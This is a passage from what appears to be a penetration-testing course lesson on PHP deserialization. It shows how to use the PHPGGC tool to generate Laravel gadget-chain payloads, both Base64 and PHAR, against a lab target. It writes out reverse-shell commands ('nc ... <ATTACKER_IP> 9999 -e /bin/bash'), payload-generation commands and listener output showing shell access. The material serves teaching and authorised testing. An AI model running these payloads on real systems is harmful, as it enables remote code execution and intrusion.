Introduction to Deserialization Attacks  

Tools of the Trade


PHPGGC

In the last three sections, we identified a deserialization vulnerability and exploited it manually in three different ways (XSS and Role Manipulation via Object Injection, as well as Remote Code Execution). The way we achieved RCE was relatively straightforward: command injection in a call to shell_exec from __wakeup(). It is possible, and often necessary, to string together a much longer "chain" of function calls to achieve RCE. Doing this manually is out-of-scope for this module. However, there is a tool that we can use to do this automatically for a selection of PHP frameworks.

PHPGGC is a tool by Ambionics, whose name stands for PHP Generic Gadget Chains. It contains a collection of gadget chains (a chain of functions) built from vendor code in a collection of PHP frameworks, which allow us to achieve various actions, including file reads, writes, and RCE. The best part is with these gadget chains. We don't need to rely on a vulnerability in a magic function such as the command injection in __wakeup().

We already established that the application we were testing for HTBank GmbH uses Laravel, and if we look on the GitHub page for PHPGGC, we can see a large selection of gadget chains for Laravel, which may result in RCE.

We can download PHPGGC by cloning the repository locally:

[!bash!]$ git clone https://github.com/ambionics/phpggc.git

Cloning into 'phpggc'...
remote: Enumerating objects: 3006, done.
remote: Counting objects: 100% (553/553), done.
remote: Compressing objects: 100% (197/197), done.
remote: Total 3006 (delta 384), reused 423 (delta 335), pack-reused 2453
Receiving objects: 100% (3006/3006), 437.63 KiB | 192.00 KiB/s, done.
Resolving deltas: 100% (1255/1255), done.

After moving into the project directory, we can list all gadget chains for Laravel with the following command:

[!bash!]$ phpggc -l Laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

The version of Laravel used by HTBank GmbH is 8.83.25, so Laravel/RCE9 should work just fine. We can see that the Type of this gadget chain is RCE (Function call). This means we need to specify a PHP function (and its arguments) that the gadget chain should call for us.

To get a reverse shell, we want to call the PHP function system() with the argument 'nc -nv <ATTACKER_IP> 9999 -e /bin/bash', and so we get the following command (with the -b flag to get Base64 encoded output):

[!bash!]$ phpggc Laravel/RCE9 system 'nc -nv <ATTACKER_IP> 9999 -e /bin/bash' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2...SNIP...Jhc2giO319

We can start a Netcat listener, and after importing the Base64 string from PHPGGC into the web application, we should get a reverse shell:

[!bash!]$ nc -nvlp 9999

Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.20.0.4.
Ncat: Connection from 172.20.0.4:39924.
ls -l
total 12
drwxr-xr-x 2 sammy sammy 4096 Oct  8 22:47 css
-rw-r--r-- 1 sammy sammy    0 Sep 20 13:19 favicon.ico
-rw-r--r-- 1 sammy sammy 1710 Sep 20 13:19 index.php
-rw-r--r-- 1 sammy sammy   24 Sep 20 13:19 robots.txt

Note: This payload generated from PHPGGC works, but results in a 500: Server Error whereas our custom payload did not. This is because PHPGGC does not generate a valid UserSettings object. If our only goal is to get RCE, this doesn't matter, however.

PHAR(GGC)

Quoting from PHPGGC's GitHub README.md: "At BlackHat US 2018, @s_n_t released PHARGGC, a fork of PHPGGC which, instead of building a serialized payload, builds a whole PHAR file. This PHAR file contains serialized data and, as such, can be used for various exploitation techniques (file_exists, fopen, etc.)." The fork has since been merged into PHPGGC.

We can use PHPGGC to simplify exploiting the PHAR deserialization attack we covered in the previous section. Even better, we can use PHPGGC's vast array of gadget chains, so we don't need to rely on the command injection vulnerability.

We can generate the payload like so:

[!bash!]$ phpggc -p phar Laravel/RCE9 system 'nc -nv <ATTACKER_IP> 9999 -e /bin/bash' -o exploit.phar

Then following the rest of the steps in the last section, we will upload exploit.phar as a profile picture, copy the link, prepend phar:// to the path, and start a local Netcat listener to receive our reverse shell:

[!bash!]$ nc -nvlp 9999

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:57892.
ls -l
total 24
drwxr-xr-x 2 kali kali 4096 Oct 19 21:38 css
-rw-r--r-- 1 kali kali 5963 Oct 19 21:35 default.jpg
-rw-r--r-- 1 kali kali    0 Oct 19 21:39 favicon.ico
-rw-r--r-- 1 kali kali 1710 Apr 12  2022 index.php
-rw-r--r-- 1 kali kali   24 Apr 12  2022 robots.txt
drwxr-xr-x 2 kali kali 4096 Oct 19 22:51 uploads

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.

Switching VPN...

PROTOCOL

/ 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Click here to spawn the target system!

Target: Click here to spawn the target system!

+10 Streak pts

Previous

+10 Streak pts

Next